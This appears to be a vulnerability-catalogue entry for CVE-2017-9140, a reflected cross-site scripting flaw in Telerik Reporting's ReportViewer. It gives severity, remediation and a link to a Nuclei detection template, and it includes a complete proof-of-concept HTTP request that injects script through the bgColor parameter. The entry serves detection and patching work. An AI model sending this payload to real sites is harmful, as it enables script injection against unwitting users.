| Title | Reflected XSS - Telerik Reporting Module |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement of web pages, or theft of sensitive information. |
| Remediation | Upgrade to application version 11.0.17.406 (2017 SP2) or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.05518 |
| CVE ID | CVE-2017-9140 |
| CWE ID | CWE-79 |
| Tags | cve2017 cve xss telerik progress vuln |
Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
GET /Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-9140.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-9140.pcap
N/AN/A